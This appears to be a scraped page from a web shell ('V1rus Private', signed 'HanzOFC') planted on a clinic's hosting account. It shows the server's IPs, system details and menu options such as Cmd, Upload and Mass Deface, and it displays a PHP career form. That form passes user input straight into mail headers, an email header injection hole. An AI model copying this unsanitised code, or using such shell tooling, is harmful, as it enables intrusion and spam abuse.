V1rus Private
User / IP
:
216.73.216.30
Host / Server
:
195.35.44.181 / www.cosmedicclinic.eu
System
:
Linux in-mum-web1192.main-hosting.eu 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
u973365695
/
domains
/
cosmedicclinic.eu
/
public_html
/
Viewing: sendmail.php
<!-- Section Contact --> <section id="contact-detail" class=" padd-100"> <h2 class="section-title sep-type-2 text-center">Career Details</h2> <span class="section-suptitle sep-type-2 text-center" style="margin-bottom: 40px;">Fill Up The Form</span> <div class="container"> <div class="row"> <div class="col-sm-12"> <div class="form-reservation" id="form-contact"> <form action="" method="post" enctype="multipart/form-data"> <div class="column"> <span> <label for="">Name</label> <input type="text" name="name" placeholder="Name" class="required-field" style="border:2px solid #F64E07;"> </span> <span> <label for="">Email</label> <input type="email" name="email" placeholder="Email Address" class="required-field" style="border:2px solid #F64E07;"> </span> </div> <div class="column"> <span> <label for="">Phone</label> <input type="text" name="phone" placeholder="Your Phone" class="required-field" style="border:2px solid #F64E07;"> </span> <span> <label for="">Upload CV (.pdf / .doc/ .docx)</label> <input type="file" name="attachment" class="required-field" style="border:2px solid #F64E07;" accept=".pdf , .doc, .docx"> </span> </div> <p class="text-center padd-top-30"> <button type="submit" name="submit" class="btn-food">Send</button> </p> <?php // Check if form is submitted and file is uploaded if (isset($_POST['submit']) && isset($_FILES['attachment'])) { // Define sender and recipient emails $from_email = $_POST["email"]; // Sender email $recipient_email = 'info@indianpizzandbar.com'; // Recipient email // Load POST data from HTML form $sender_name = $_POST['name']; // Sender's name $sender_email = $_POST['email']; // Sender's name $phone = $_POST['phone']; // Email subject $subject = "Career Application."; // Email subject // Validate sender name (uncomment for validation) if (strlen($sender_name) < 1) { die('Name is too short or empty!'); } $data = "Sender Name: ".$sender_name."\r\nSender Email: ".$sender_email."\r\nSender Phone: ".$phone."\r\n"; // Get uploaded file data $tmp_name = $_FILES['attachment']['tmp_name']; // Temp file path $name = $_FILES['attachment']['name']; // Original file name $size = $_FILES['attachment']['size']; // File size $type = $_FILES['attachment']['type']; // File type $error = $_FILES['attachment']['error']; // Upload error // Check for upload errors if ($error > 0) { die('Upload error or no file uploaded'); } // Read the file and encode its content $handle = fopen($tmp_name, "r"); // Open file for reading $content = fread($handle, $size); // Read file content fclose($handle); // Close file $encoded_content = chunk_split(base64_encode($content)); // Encode content $boundary = md5("random"); // Generate a unique boundary // Define email headers $headers = "MIME-Version: 1.0\r\n"; // Specify MIME version // Set sender email $headers .= "From: " . $from_email . "\r\n"; // Set content type and boundary $headers .= "Content-Type: multipart/mixed; boundary=$boundary\r\n"; // Construct email body with sender_name and attachment $body = "--$boundary\r\n"; $body .= "Content-Type: text/plain; charset=ISO-8859-1\r\n"; $body .= "Content-Transfer-Encoding: base64\r\n\r\n"; $body .= chunk_split(base64_encode($data)); // Encode sender_name // Add attachment to the email body $body .= "--$boundary\r\n"; $body .= "Content-Type: $type; name=\"$name\"\r\n"; $body .= "Content-Disposition: attachment; filename=\"$name\"\r\n"; $body .= "Content-Transfer-Encoding: base64\r\n"; $body .= "X-Attachment-Id: " . rand(1000, 99999) . "\r\n\r\n"; $body .= $encoded_content; // Append encoded file content // Send the email $sentMailResult = mail($recipient_email, $subject, $body, $headers); // Check if the email was sent successfully if ($sentMailResult) { echo "<h3>File sent successfully.</h3>"; // Optionally delete the file after sending // unlink($name); } else { die("Sorry, the email could not be sent. Please try again."); } } ?> </form> </div> </div> </div> </div> </section> <!-- End Section Contact -->
Coded With 💗 by
HanzOFC